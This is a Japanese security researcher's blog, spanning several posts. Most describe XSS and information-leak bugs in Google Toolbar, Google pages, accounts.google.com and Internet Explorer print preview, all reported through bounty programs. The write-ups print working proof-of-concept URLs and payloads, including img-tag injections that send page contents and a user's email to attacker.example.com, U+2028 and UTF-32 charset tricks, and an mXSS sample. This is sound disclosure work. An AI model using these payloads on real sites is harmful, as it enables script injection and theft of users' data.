https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//

スラッシュはURL全体の一番最後にあるので、URL全てが切り取られることになります。
このURLがpathという変数に入り、コマンドとして実行されるときの値をみてみましょう。

http://toolbar.google.com/command?key=[TOKEN]&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//dcuninstalled.html


URL に & を挿入したことで、ページ側が指定したnavigateto=に渡るURLは挿入した&の手前で区切られることになります。その後ろに、自身でもう1つnavigateto=を追加します。すると、navigatetoのコマンドが2つあることになりますが、同じコマンドが複数あるときは、一番後ろにあるコマンドが実行されるようになっているようです。よって、発生するnavigatetoによるナビゲーションは、javascript:alert(1)//dcuninstalled.html に対するものになります。これで、アラートが実行されます!

このように、コマンドにユーザー入力値を不用心に引き渡している部分を利用することで、document.googleTokenを知らずとも、XSSに繋げることに成功しました。

XSS脆弱性の発見 その2


さらに、同じようなパターンでXSSできないか toolbar.google.com を漁っていると、また面白いページをみつけました。

https://toolbar.google.com/buttons/edit/index.html
<script language=JavaScript>
<!--
document.custom_button_uid = "";
function command(s) {
  window.location = "http://toolbar.google.com/command?key=" +
      document.googleToken + s;
}

function Load() {
  var url = window.document.URL.toString();
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
}
....
// -->
</script>
<body >
順に見ていきます。
ページを開くと、body onloadで、Load()関数が実行されます。
<body > 
Load()関数では、document.URLから自身のURLをurl変数に入れ、
var url = window.document.URL.toString();
クエリを & で分解し、さらに = で分解して、パラメータ名と値のペアを取り出しています。
ここでは、太字部分にあるようにcustom_button_uriというパラメータを探しています。パラメータがあれば、その値をdocument.custom_button_uidという変数に代入するようになっています。
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }

ここで設定された、document.custom_button_uidはこのすぐ後で、コマンド実行関数へと引き渡されます。
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
少なくとも、ユーザー入力値がcustom_button_uriというクエリを介してコマンド文字列として渡っているということです。危なっかしいかんじがしますが、&ごとにクエリを分解しているため、1つ目のXSSで示したような、単純に&で追加のコマンドを紛れ込ますような手は使えません。

XSSは無理かと思われましたが、もう一度、document.custom_button_uidを設定しているところをよくみてみると、
document.custom_button_uid = unescape(param_pieces[1]);
なんと都合がいいことに、custom_button_uriの値をunescape関数にかけているではありませんか。ということは、発見されると分解されてしまう & と = を以下のようにエンコードしてcustom_button_uriに渡せば、

https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=%26navigateto%3Djavascript:alert(document.domain)

%26&%3D=にunescapeされ、最終的に実行されるコマンドは次のような、navigateto=を含むものになります。

http://toolbar.google.com/command?key=[TOKEN]&custom-button-load=&navigateto=javascript:alert(document.domain)

ドーン!



おわりに


この2件の問題はGoogle VRPを介して報告し、 $3133.7 × 2 の報奨金を獲得しました。
文書化されていないコマンドの動作を把握するのは大変でしたが、古い技術にひっそりと残っている脆弱性を暴けたときの喜びはひとしおでした。
古い技術とはいえ、特権が与えられた機能の実装が脆弱性に繋がってしまうことは、最近トレンドマイクロのパスワードマネージャでもあったように、今の時代の技術にも潜んでいる、今後も注意を払う必要がある普遍の部分だと思います。

最後に、この時期に毎年紹介しているGoogleからのクリスマスプレゼント、今年も頂いたので紹介したいと思います。(以前いただいたものはこちら: ChromebookNexus 10Nexus 5Moto 360 )

Googleのロゴ入りのUSB Armory というガジェットと、Bug Bountopoly(バグハンター版のモノポリー?!)、Googleセキュリティチームからのポストカードです。





日本語のメッセージと バグハンターのイラスト をかいてくれたのは、 夏に日本のGoogleオフィスでお会いしたセキュリティチームのStephenさんです。掲載許可をもらったので載せます。かわいい!

今年もXSS送りできるよう頑張ります!

2015/07/01

CODE BLUEの発表資料「バグハンターの愉しみ」を公開

English version: http://mksben.l0.cm/2015/07/codeblue.html
--------------------------------------------------------

2014年12月に開催された国際セキュリティ会議、CODE BLUEで、「バグハンターの愉しみ」というタイトルで発表させて頂きました。先日、公式ページでスライドが公開されましたので、僕のスライドをここでも共有します。



他のスピーカーの方々のすごいプレゼンは以下で見られます。
http://codeblue.jp/2015/archive/2014/

講演の動画はポリシーにより公開していません。
会場の雰囲気はITmediaと@ITに書いて頂いた記事からお楽しみください。

Googleへの報告件数は世界2位:脆弱性発見のプロ「キヌガワ マサト」さんは日本人だった - ITmedia エンタープライズ
http://www.itmedia.co.jp/enterprise/articles/1412/20/news003.html

セキュリティ業界、1440度(13):自動車、ホームルーター、チケット発券機――脅威からどう守る? (2/2) - @IT
http://www.atmarkit.co.jp/ait/articles/1501/22/news008_2.html

CODE BLUEレポート:脆弱性を見つける人、対応する人、使う人、皆がハッピーになるヒントとは (2/2) - @IT
http://www.atmarkit.co.jp/ait/articles/1501/13/news036_2.html


僕はここ2年くらいではじめてセキュリティに関係する人と実際に顔をあわせる場に出るようになったのですが、そういった場で、やっていることの特異さから、自分の活動について多くの人に関心を持ってもらっていることに気が付きました。発表を聴いて頂いた方や資料を見てもらった方はご存知の通り、僕はここ数年間、個人で、脆弱性報酬制度を実施する企業の脆弱性を探して、その報酬を得ることを主な収入源にしてきました。近年になって、脆弱性を探すことのできる人を指す「バグハンター」という言葉も徐々に使われるようになってきた印象がありますが、それでも、バグの発見だけで生計を立てている人は世界中をみてもあまりききません。僕も気が付いたらそんな稀少種になってしまっていたのですが、そんなに自分に関心を持ってもらえているのなら、一度ちゃんとした場でありのままの職業バグハンターの姿を話してみようと思い、今回発表することを決めました。

第1回目や今回の他のスピーカーの方の難しい発表の数々を見て、自分が出ていっていいのだろうかとも思いましたが、簡単な発表であった分、技術をわからない人でもそれなりに楽しんで聴いて頂けたのではないかと思っています。そんな僕のライトな発表は、CODE BLUEのFacebookのページでは"軽妙な語り口"と表現されていて、なるほどそんな僕に配慮された絶妙な言い方もできるのかと感心しました。

発表を聴いて下さった皆様、ありがとうございました。少しでもバグを探すことの面白さをわかってもらえれば嬉しいです。
また、このような機会を与えて下さったCODE BLUE実行委員会の方々、特に代表の @_kana さん、CODE BLUEのことを教えて下さった @hasegawayosuke さん、発表内容について相談させて頂いた @takesako さんにも感謝します。

第3回目も開催されることが決まったようで、今年も面白い発表が行われることを期待しています。

2015/01/22

GoogleからMoto 360をもらった

2014年も、Googleの脆弱性報酬制度を通じて脆弱性を報告していました。
Nexus 5Nexus 10Chromebook と毎年何かを頂いていましたが、2014年も上位の報告者だったとして、Googleからスマートウォッチの「Moto 360」を頂きました!




人生初、ウェアラブル端末です!

新しいものには疎くて、ウェアラブル端末の位置づけがわからないんだけど、通知の閲覧やちょっとした操作がスマホを出さずにできる高機能腕時計くらいに思えばいいんでしょうか。まだどう使うのが便利なのかあまり想像できていなくて、ちょっと触ったかんじでは、スマホでやってることの一部を腕でできる程度のものだと感じました。それってそんなに嬉しいことなんだろうか…。今の率直な思いは、「スマホを出せばいいじゃん」です…。
とりあえずは腕時計として使えれば十分便利なので、しばらく腕につけていよう。そのうち便利さに気付かされるかもしれない!

あと、二要素認証のアレと、見難いけどGoogle Vulnerability Rewardsと文字が入った手帳ケースももらいました。





ワーイ!認証のやつはあとで試してみよう。
2015年も報告を続けていきます!Thank you, Google Security Team!

2014/11/02

CVE-2013-3908: IEの印刷プレビュー時に発生する情報漏えい

Internet Explorerで細工したページに対し印刷プレビューを実行すると、ページ内の情報が外部に漏えいする場合があった脆弱性について書きます。本問題は、Microsoft提供の更新プログラムにより現在は修正されています。
この問題は、Microsoftが2013年の6-7月に30日間限定で実施したIE11 Previewの脆弱性報酬制度を通じて報告したものです。その後、報酬対象として受理され、$1,100を頂きました。

報酬は次のようなデビットカードで支払われました。

カード右上の金額が$2,200 になっているのは、もう1つ別の報告も報酬対象と受理されたためです。

ちなみに、このことがITmediaに取り上げられ、一部セキュリティ界隈で面白がられている、「日本人と思われるキヌガワマサト氏」という名言が生まれました。

Microsoft、IE 11の脆弱性情報に総額2万8000ドルの賞金贈呈 - ITmedia ニュース
http://www.itmedia.co.jp/news/articles/1310/08/news043.html
また、日本人と思われる「キヌガワ・マサト」氏は2件の脆弱性を報告して2200ドルを進呈されている。

さらに、"日頃より、数々の重要な脆弱性のご報告をいただき、弊社に多大なご協力を頂い"たらしいので、特別な報酬として、「XBOX 360本体1台、XBOXのゲームソフト2本(HALO 4 、Gears of War)、Xbox Liveゴールドメンバーシップ(12ヵ月)」も頂きました。ありがとうございます。

報告後しばらくして、MS13-088で修正されました。

http://technet.microsoft.com/ja-jp/security/bulletin/ms13-088
Internet Explorer の情報漏えいの脆弱性 (CVE-2013-3908) を報告してくださった Masato Kinugawa 氏
2013年11月の修正ですが、関連する問題を報告したのはもっと前だったりします。
2012年の3月頃から、次のようなやりとりがありました。

タイムライン


2012/3/12IE9(当時最新)まで影響する印刷プレビューの脆弱性を報告 - 【問題1】
2012/3/23影響が限定的なため、パッチは提供せず次期バージョンのIE(10)で対応するとの回答をもらう
(IE10リリース後、確かに修正されていることを確認)
2012/12/26IEの文字コードに関する問題を報告 - 【問題2】
2013/7/19上記の文字コードに関する問題を利用すると、IE11 Previewでも、印刷プレビュー時に情報漏えいの問題を発生させることを確認(この時、IE11の報酬制度を実施中だった) - 【問題3】
2013/8/14印刷プレビューの問題が報酬対象と判断される
2013/11/13MS13-088として更新プログラムが公開される(この更新は、印刷プレビューのページを文字コードに関する問題の影響を受けないように変更するもので、文字コードに関する問題自体は修正されなかった。ついでにIE9以下でも【問題1】のバックポートが行われる。)
2013/11/18文字コードに関する問題については影響度が低いので即時修正は行わないとの回答をもらう

まとめると、昔に今回の問題とは関係ない印刷プレビューの脆弱性を報告したけど、次期IEで直すと返事をもらって、確かに次期IEでは直ったけど、別に発見した文字コードの問題と組み合わせるとまだIE11 Previewでも問題が起きるのに気付いて、それで報酬をもらったという話ですね。

それでは、順番に、どんな問題だったか紹介していきます。

【問題1】最初の報告(2012年3月)


印刷プレビュー時にIEは独自のHTMLを生成していて、印刷プレビュー対象のURLからbaseタグのhrefを作り、ドキュメントの先頭の方に埋め込んでいるのですが、この部分で単純に「"<>」などの記号を未処理のまま書き出していました。
例えば、次のようなURLを印刷プレビューで表示すると、印刷プレビュー時に生成されるHTML中でbaseタグのhref属性の引用符が途中で区切られ、xmpタグが有効となり、HTMLソースを印刷プレビューするような状態になります。

http://www.microsoft.com/en-us/default.aspx?"><xmp>

言わばXSS脆弱性がなかったページにXSS脆弱性がうまれてしまったようなもので、明らかにマズそうですが、印刷プレビューのページではJavaScriptは動作しないようなので、典型的なXSS攻撃のように、JavaScriptを使って外部のサーバに情報を送ることはできません。しかし、imgタグなら読み込めるようです。勘がいい人はもう悪用できる可能性に気付いたかもしれません。

次のようなページがあるとします。

http://vulnerabledoma.in/security/search?q=123

qパラメータに入れた値が、検索ボックスに出力されるようなページです。ページ自体にXSS脆弱性はありません。ページの先頭から検索ボックスの間に、 ログインしていることを意味するメールアドレスが表示されている状態を想定しています。

この条件で、印刷プレビューのバグを悪用してみます。
以下のようにURLを細工して印刷プレビューを実行すれば、メールアドレスを含むページ内の情報が、外部のサーバに送られてしまいます。

http://vulnerabledoma.in/security/search?q=123'&"><img/src='http://attacker.example.com/

これは、印刷プレビュー時に生成されるHTMLが次のようになるからです。黄色部分がimgのsrcとして読み込まれる箇所です。
(先頭省略)
<BASE
HREF="http://vulnerabledoma.in/security/search?q=123'&amp;"><img/src='http://attacker.example.com/"><STYLE> HTML { font-family : "Times New Roman" } </STYLE> <META charset="utf-8"> </HEAD> <BODY><P>LoginID:example@example.com</P><FORM action="" method="get">SearchBox:<INPUT name="q" type="text" value="123'"> <INPUT type="submit" value="submit">
</FORM></BODY></HTML>
画像が読み込まれると、attacker.example.comに向けて、次のリクエストが発生します。赤字部分のように、メールアドレスが含まれています。

http://attacker.example.com/%22%3E%3CSTYLE%3E%20HTML%20%7B%20font-family%20:%20%22Times%20New%20Roman%22%20%7D%20%3C/STYLE%3E%3CMETA%20charset=utf-8%3E%3C/HEAD%3E%3CBODY%3E%3CP%3ELoginID:example@example.com%3C/P%3E%3CFORM%20method=get%20action=%22%22%3ESearchBox:%3CINPUT%20name=q%20value=%22123


IEでは印刷プレビューをユーザ操作なしに実行することは通常できないので、攻撃するには、細工したページに対して印刷プレビューを実行するようターゲットを誘導しなければいけません。このあたりの悪用の難しさからか、影響は小さいと判断され、報告を行った時点で最新のIE9では修正せず、次のIE10で修正するという返事をもらいました。(※のちにIE9以下でも修正されることになります。)

【問題2】文字コードの問題(2012年12月)


この問題、一言で言うと、charset指定のタグがどこで効くかという話です。最近、この問題を使ったXSSチャレンジも公開されており、非公開にする必要もないと思いますので、取り上げます。

次のようなHTMLがある時、どのcharsetでページが表示されるでしょうか。(HTTPレスポンスヘッダにはcharset指定がないとします。)

http://l0.cm/charset.html
<html>
<head>
<meta test="<meta charset=big5>">
<script>
var x="<meta charset=koi8-r>";
</script>
<meta charset=utf-8>
</head>
<body>
<meta charset=iso-8859-1>
<button >charset is</button>
<script>
function func(){
  alert(document.charset||document.characterSet);
}
</script>
</body>
</html>

当然、UTF-8でしょうか?

Chrome/SafariはUTF-8を選択します。ところが、FirefoxはKOI8-R、IEはBig5を選択します。

細かい挙動については個別にみて頂くとして、ここで言いたいのは、本来のcharset指定より前にcharset指定らしき文字列が置けてしまうと、ブラウザによっては、属性部分やJavaScriptの文字列リテラル部分にあるそれらしき文字列でも、charsetの決定に使ってしまう場合があるということです。

本題のCVE-2013-3908は、IEのこの挙動を利用します。

【問題3】文字コードの問題×印刷プレビュー = 情報漏えい(CVE-2013-3908)


報酬を得た問題です。
IE11 Previewの印刷プレビュー時のHTMLソースをみてみましょう。

http://vulnerabledoma.in/security/search2?q=123"<>
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML
__IE_DisplayURL="http://vulnerabledoma.in/security/search2?q=123&quot;<>"><HEAD><META
content="IE=11.0000" http-equiv="X-UA-Compatible">
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<BASE HREF="http://vulnerabledoma.in/security/search2?q=123&quot;<>">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE> <META
charset="iso-8859-1">
</HEAD> <BODY><P>LoginID:example@example.com</P><FORM action=""
method="get">
SearchBox:<INPUT name="q" type="text" value="123&quot;&lt;&gt;"> <INPUT type="submit"
value="submit">
</FORM></BODY></HTML>
ごちゃごちゃしていますが、注目してほしいのは赤字の2箇所だけです。
最初にでてくるcharset指定(2番目の赤字)よりも前に__IE_DisplayURL という謎属性の部分に、<> がそのまま入っています(1番目の赤字)。

先ほどの文字コードの問題を思い出してください。この配置、何かが起こりそうではないですか?!
うまくいくか、やってみましょう。

http://vulnerabledoma.in/security/search2?q=123'&<meta charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML
__IE_DisplayURL="http://vulnerabledoma.in/security/search2?q=123'&amp;<meta charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><HEAD><META
content="IE=11.0000" http-equiv="X-UA-Compatible">
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<BASE HREF="http://vulnerabledoma.in/security/search2?q=123'&amp;<meta
charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><STYLE> HTML { font-family : "Times New Roman" } </STYLE> <METAcharset="iso-8859-1"></HEAD> <BODY><P>LoginID:example@example.com</P><FORM action=""method="get">SearchBox:<INPUT name="q" type="text" value="123'"> <INPUT type="submit"
value="submit">
</FORM></BODY></HTML>
こちらも、注目すべき箇所は3箇所だけです。
赤字が実際に有効になるcharset指定です。前述の文字コードの選択の問題により、属性中でもこれがcharset指定と判断されてしまいます。これで、印刷プレビューページのcharsetは本来ページに指定されていたiso-8859-1から、UTF-7になります。
青字の「+ACIAPgA8A-」をUTF-7から戻すと、 ">< になります。これは、「"」を使わずに属性の引用符から脱出するために使っています。
脱出後、imgタグを作り、攻撃者のサイトに機密情報(今回はメールアドレス)を含むリクエストをとばすようにします。黄色部分が画像として読み込まれる部分です。うまくいきました!

やれることは地味ですが、charset指定の問題が発生する配置のドキュメントをIEの印刷プレビュー機能が偶然作っていたためにこのような問題を起こせてしまったというのがなんとも面白いです。その辺りの面白さも含めて、Microsoftは報酬対象と判断してくれたのではないでしょうか。

この問題に対するMS13-088の修正は、印刷プレビューページの構造をcharsetの問題の影響を受けないように変更するもので、charset指定の選択の挙動自体は変更されませんでした。このように、不意に問題が起きる場合があることを身を持って体験しながら、根本原因を改善しなかったのはちょっと残念ですね。

ちなみにこの問題、ページのエンコーディングがUTF-8だった場合は利用できませんでした。印刷プレビューのドキュメントの一番先頭にUTF-8 のBOMが挿入されるようになっていたためです。BOMの優先度は高いので、UTF-8の表示が強制されます。

先ほどのページでも、BOMを挿入すると、IE/FirefoxどちらもUTF-8が必ず選択されるようになります。
http://l0.cm/charset_bom.html


以上が、一連の報告の流れでした。

【おまけ】書いてて気付いた問題( mXSS + 印刷プレビュー = 情報漏えい)


些細な問題ですが、この記事を書いている最中に気付いてしまいました。以下に紹介するものは今も再現します。
印刷プレビューのHTMLをみていると、innerHTMLへの代入後のような文字列でページが構成されていることに気付きます。印刷プレビューは、JavaScriptで動的にページを書き換えたあとの状態や入力された文字列もページに書き出すので、バックでinnerHTMLへの代入相当の、ページ全体に対するコピー処理が行われている、ということだと思います。

はせがわようすけさんの記事「教科書に載らないWebアプリケーションセキュリティ(1):[これはひどい]IEの引用符の解釈 (3/3) - @IT」にもあるように、過去にIEの印刷プレビューでは「`」の扱いがおかしかったりしていますし、このinnerHTMLへの代入相当の処理で、いわゆるmXSSの挙動の影響を受けるのではないかと考えました。(mXSSについては、はせがわさんのブログ記事「mXSS - Mutation-based Cross-Site-Scripting のはなし - 葉っぱ日記」を参考にしてください。)

そこで、Gareth Heys氏のブログで紹介されている、mXSSが起こりうる次のようなコードに対して印刷プレビューを実行してみました。

http://l0.cm/ie_printpreview_mxss.html
<meta http-equiv="X-UA-Compatible" content="IE=9">
<script>
x="<%";
</script>
<div title="%&gt;&lt;/script&gt;&lt;h1&gt;mXSS"></div>

印刷プレビューの表示は、IE11でも以下のようになります。



思った通り、title属性を抜けて、mXSSという文字列がページに出現しています。
問題になる条件は限られますが、これはダメですね…。


参考資料:

印刷プレビュー時のHTMLソースの見方は以下のブログを参考にさせて頂きました。

IEで表示中のアクティブなHTMLソース: Windows Script Programming
http://scripting.cocolog-nifty.com/blog/2010/08/iehtml-2d4b.html

2014/01/30

GoogleからNexus 5をもらった

2013年もGoogleの脆弱性報酬制度を通じて脆弱性報告を続けていました。
2013年も上位の貢献者だったということで、今年もGoogleからプレゼントを頂きました!
Nexus 5です!やった!


実は最近自分の使っていた携帯電話が壊れてしまって、ちょうど新しいのを買おうと思っていたところでした。去年はNexus 10一昨年はChromebookを頂いていたので、今年出たGoogleの製品と言えばNexus 5かも、なんてひそかに思っていたらその通りだったので本当に嬉しいです。

フード付きの服ももらいました。表はSecurity Bot がプリントされています。


裏はXSS仕様。




2013年は報酬の大幅アップが発表されたこともあり、結構力を入れてバグを探していました。

いまGoogleのバグを探すのは大変ですが、だからこそ、それを乗り越えたときに味わえる特別な楽しみがあります。
また、Googleのセキュリティチームの人たちは、変わった問題を報告しても、そんなマニアックなの知るか、みたいなことはなく、バグの面白さも含めて理解してくれるので、面白さを共有できることも僕の楽しみの一つです。
素晴らしい制度を実施してくれたGoogleに感謝します。
2014年もたくさんバグをみつけられるよう努力します! 

2013/09/17

U+2028/2029とDOM based XSS

ECMAScriptの仕様では、0x0A/0x0D以外にU+2028/2029の文字も改行とすることが明記されています。
これはあまり知られていないように思います。 以下はアラートを出します。
 
<script>
//[U+2028]alert(1)
</script>

知られていないだけでなく、知っていたとしても、スクリプトで文字列を処理するときに、U+2028/2029まで考慮する開発者がどれだけいるのかという話です。
実際、U+2028/2029を放り込むと文字列リテラル内にその文字が生のまま配置され、エラーが出るページは本当にたくさんあります。まあ、エラーがでるだけなら、大抵の場合大きな問題にはなりません。

ところが、U+2028/2029によってXSSが引き起こされてしまう場合というのを最近実際に見ました。
Googleのサービスで見つけた2つのケースを取り上げたいと思います。

ケース1. ChromeとIEで脆弱だった例

 以下はGoogle(tools.google.com)に存在した脆弱なコードです。URLは例です。


https://tools.google.com/foo/bar/install.html
var url = String(window.location);
var match = url.match(/(.*)www\.google\.com(.*\/install.html)/);
if (match) {
window.location = match[1]+"tools.google.com"+match[2];
}


正規表現でURLを取得し、リダイレクトをしようとしています。
コードを書いた人が期待するのは、おそらく、アクセスされたホストが  www.google.com だった場合に、ホスト tools.google.com の同じURLにリダイレクトさせるものだと思います。

この正規表現では残念ながら期待しないURLへのリダイレクトを許可してしまいます。
次のようなURLを与えられると、予想外のウェブページへのリダイレクトどころか、XSSが起きます。

https://tools.google.com/foo/bar/install.html#[U+2028]javascript:alert(1)//www.google.com/install.html

JavaScriptの正規表現の . (ドット) は改行以外のすべての文字にマッチします。この「改行」に当てはまるのは、0x0Dや0x0Aだけではないというのがポイントです。
URLに0x0D、0x0Aを直に含めることはできません。 ところが、U+2028/2029は、ChromeやIEの#以降において、エンコードせずに含めることができてしまうのです。
 これらの文字ははじめに書いたように、仕様上改行の扱いなので、 . (ドット) にマッチしません。ですので、上記URLの場合、後続の条件を含めた、改行を含まない0文字以上の繰り返し 「.*」 にマッチするのは「javascript:alert(1)//」ということになり、見事にjavascript: なURLを引っ張り出すことができてしまうという訳です。

以下でこのコードを確かめることができます。
http://vulnerabledoma.in/domxss_u2028u2029.html

以下でChromeやIE9以上でアクセスすると再現を確認できます。
PoC

ちなみに、IEの場合、IE9以降のドキュメントモードでないと .(ドット) がU+2028/2029にマッチしてしまう挙動があるようなので、動きません。

ケース2. IEだけが脆弱だった例

こんなコードのあるページがありました。

https://www.google.com/intl/en/nexus/features.html
 var a = window.location.toString();
return a.indexOf("intl") > -1 ? a.match("/(.*)/nexus/")[0] :
"/nexus/"

この処理でもらってきたURLにフラグメント以降の文字列を足してXMLHttpRequestを飛ばし、responseTextをページ中に書き出すだか、そんな処理をしていたと思います。

パス先頭の「/intl/en/」はGoogleのサービスのいろいろな箇所で使えるURLで、「en」だったら英語、「ja」だったら日本語で表示してくれたりと、その言語での表示の切りかえができるものです。

intlという文字列がURLに存在した場合の分岐後の処理にでてくる、「/(.*)/nexus/」の .* がここでも問題になります。「/nexus/」という文字列がでてくる前に スラッシュと 0文字以上の改行以外の繰り返し が存在することがマッチの条件です。この正規表現で期待されるURLは、最初のスラッシュは プロトコルとホストの区切りの「//」の先頭で、そこからパスの/nexus/がでてくるまでの文字列を拾ってくるというものだと思います。

さあ、これを騙すことができるでしょうか。

一番初めの報告では、僕が以前発見したAndroid 4.1未満のlocation.hrefのバグ( CVE-2012-3695 )を利用した場合にXSSが起きるだろうというものでした。
https://attacker%2Eexample%2Ecom%2Fnexus%2F@www.google.com/intl/en/nexus/features.html#/help
詳細は以前記事に書いた通り、認証情報を記述できるホストの前の@以前の文字列が、location.href中で勝手にデコードされて取得されるという問題です。
デコードされてしまうと、最終的にさっきの正規表現では、
//attacker.example.com/nexus/help

みたいなかんじの外部リソースが取得されてしまいます。こうなると、外部サイトで、Access-Control-Allow-Originを設定しておくことで、www.google.com上にresponseTextを通じて、スクリプトを含んだ文書を紛れ込ますことができてしまいます。

自分の過去の報告から考えても、GoogleはAndroidに残ったバグに起因するXSS対応には乗り気ではないかんじだったので、今回もこれじゃあ弱いなーと思いつつ一応の報告に至ったのですが、やはり反応はよくありませんでした。

その後、他のブラウザでもなんとかならないかとあれこれ考えていると、/intl/en/の「en」の部分にはほとんど自由に文字を入れられることに気が付きました。指定が変な場合は英語の文書が表示されるようです。

実は、IEは#以降以外にも、パス、クエリ部分も、エンコードしないで U+2028/2029 を含めることができてしまいます。

ならば、以下のようにすれば、一番はじめにでてくるスラッシュからnexusまでのマッチを回避できます。
https://www.google.com/intl/en[U+2028]/nexus/features.html?[U+2028]//attacker.example.com/nexus/#/help

少々ややこしいですが、正規表現のまどろっこしい文章説明をこれ以上繰り返すのはメンドイので、これで何がマッチされるか、よく見てみてください。
こうして、IEで動作することを証明できました。


はい、U+2028/2029で生じるDOM based XSSというのを紹介しました。

このXSSのわかりにくいところは、

・そもそもU+2028/2029が改行であることを知らない/忘れやすい
・URLに改行にあたる文字が入ることを意識しづらい

ことにあると思います。
まあ、改行がどうこうというより、Googleの例でも、かなりおおざっぱな正規表現のために失敗しているので、日ごろから厳密な正規表現を書くことを心がけていれば、混入する可能性はだいぶ少なくなると思います。

ちなみに、この2件の報告はGoogleの報酬制度の金額の増額が発表されたあとのものなので、前者は$3,133.7、後者は$5,000を頂いています。 金額の違いは存在したドメインの重要度の違いによるものです。

まとめ

U+2028/2029はJavaScript中で改行と同じ意味を持つ。
IEはURL中のパス・クエリ・フラグメントで、U+2028/2029をエンコードせずに含められる。
Chromeはフラグメント中でU+2028/2029をエンコードせずに含められる。
正規表現は可能な限り厳密に書こう。

2013/06/18

accounts.google.comに存在したXSS

Googleの脆弱性報酬制度の報酬がアップされましたね!

Google、脆弱性情報に支払う報奨金を大幅アップ - ITmedia エンタープライズ
http://www.itmedia.co.jp/enterprise/articles/1306/10/news027.html
Googleアカウントページに存在するクロスサイトスクリプティング(XSS)の脆弱性情報については3133.7ドルから7500ドル

 accounts.google.comのXSSは$7,500 だそうです。みつけたいですね!

みつけるのはかなり厳しいと思いますが、かつて2つみつけたことがあります。
今日はそのうち1つを紹介したいと思います。

oeパラメータを使ったXSS

2012年12月27日に報告し修正された問題です。
Googleは、一部のサービスで「oe」というクエリパラメータを付加することで、ページの表示に使用するエンコーディングを指定できます。

もちろん、oeには、任意のエンコーディングが指定できるわけではありません。もし自由にエンコーディング名を指定できてしまったら、そのエンコーディングをサポートしていないブラウザでは、ページを正しく表示できなくなったりするからです。
 
エンコーディングはXSSを引き起こすポイントとして注目すべきところです。ただ、明示的にエンコーディングを指定できる場所で、よりによってGoogleにスキがあるとは思えません。ところが、調べてみるとそうではありませんでした。

Googleの「oe」パラメータは、oeを指定しても認識されないページがあったり、認識できる文字列が異なると感じるページがいくらかありました。差を調べていったところ、多くの文字列をエンコーディング名として認識するページでは、完全に自由ではないものの、明らかに必要以上のエンコーディングを指定できてしまうことがわかりました。それがよりによって、accounts.google.com のページだったのです。

結論から言うと、以下のようにすると、IEでXSSすることができていました。
 https://accounts.google.com/NewAccount?oe=utf-32&Email=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert%281%29%E3%B0%80/script%E3%B8%80


oeにUTF-32を指定しています。これでレスポンスヘッダのContent-Typeのcharsetには、UTF-32が設定できていました。なぜこれでXSSができたのでしょうか。

UTF-32は1文字を4バイトで表します。例えば「<」は [0x00][0x00][0x00][0x3C]、「あ」(U+3042)は[0x00][0x00][0x30][0x42]で表されます。
例を見た方が簡単だと思うので、UTF-32のエンコーディングを設定したページを用意しました:

http://l0.cm/utf-32.html


正しくUTF-32で表示できた場合には、 「UTF-32!」とアラートダイアログが出た後、ページ中に「あ」が表示されるはずです。
UTF-32をサポートするブラウザはChromeとSafariです。( http://l0.cm/encodings/table/ を参照 ) ですので、ChromeとSafariではこれを正しく表示することができると思います。

ところがUTF-32を認識できない、FirefoxやIEだとどうでしょうか。
Firefoxでは、間のヌル文字が邪魔してHTMLのソースが露出する形で表示されます。
IEはアラートダイアログがでます。 これはUTF-32をサポートしているからではなく、IEではヌル文字[0x00]はHTML中で無視されるという挙動があるためです。代わりに、全角の「あ」(UTF-32で [0x00][0x00][0x30][0x42] )の部分はうまく表示できておらず、「0B」(ASCIIで [0x30][0x42]) と表示されているのがわかると思います。

今のIEの挙動を踏まえて、今度は、UTF-32で「∀」(U+2200)という文字をHTML中に配置することを考えてください。
UTF-32では[0x00][0x00][0x22][0x00] で表されます。じゃあもしこのバイト値を配置したページをIEで表示したら、どうなるでしょうか。はい、無視されるヌル文字を除いて「"」(0x22)だけが現れることになります。

今回のXSSの原理はこういうことです。GoogleはUTF-32としては有効でXSSのないHTMLを出力していましたが、[0x22]( " )や[0x3C]( < )や[0x3E]( > )などのバイト値が含まれる、UTF-32のときにはエスケープする必要がない文字を使うことで、UTF-32をサポートせずヌル文字を無視するIEでは、ほとんど本来のHTMLページを表示しつつ、ページの構造を破壊することができました。

さきほどのURLのEmailパラメータをUTF-8でパーセントデコードすると、次のような文字列が現れます。

∀㸀㰀script㸀alert(1)㰀/script㸀


これらに含まれる文字はUTF-32で以下のように表されます。

∀ U+2200 [0x00][0x00][0x22][0x00]
㸀 U+3E00 [0x00][0x00][0x3E][0x00]
㰀 U+3C00 [0x00][0x00][0x3C][0x00]

メールアドレスの入力欄に配置されるこれらが最終的に挿入される形は、ヌル文字を無視して、

"><script>alert(1)</script>

となり、IEでは以下の画像のように、我々が大好きなアラートダイアログが表示されるという訳です。






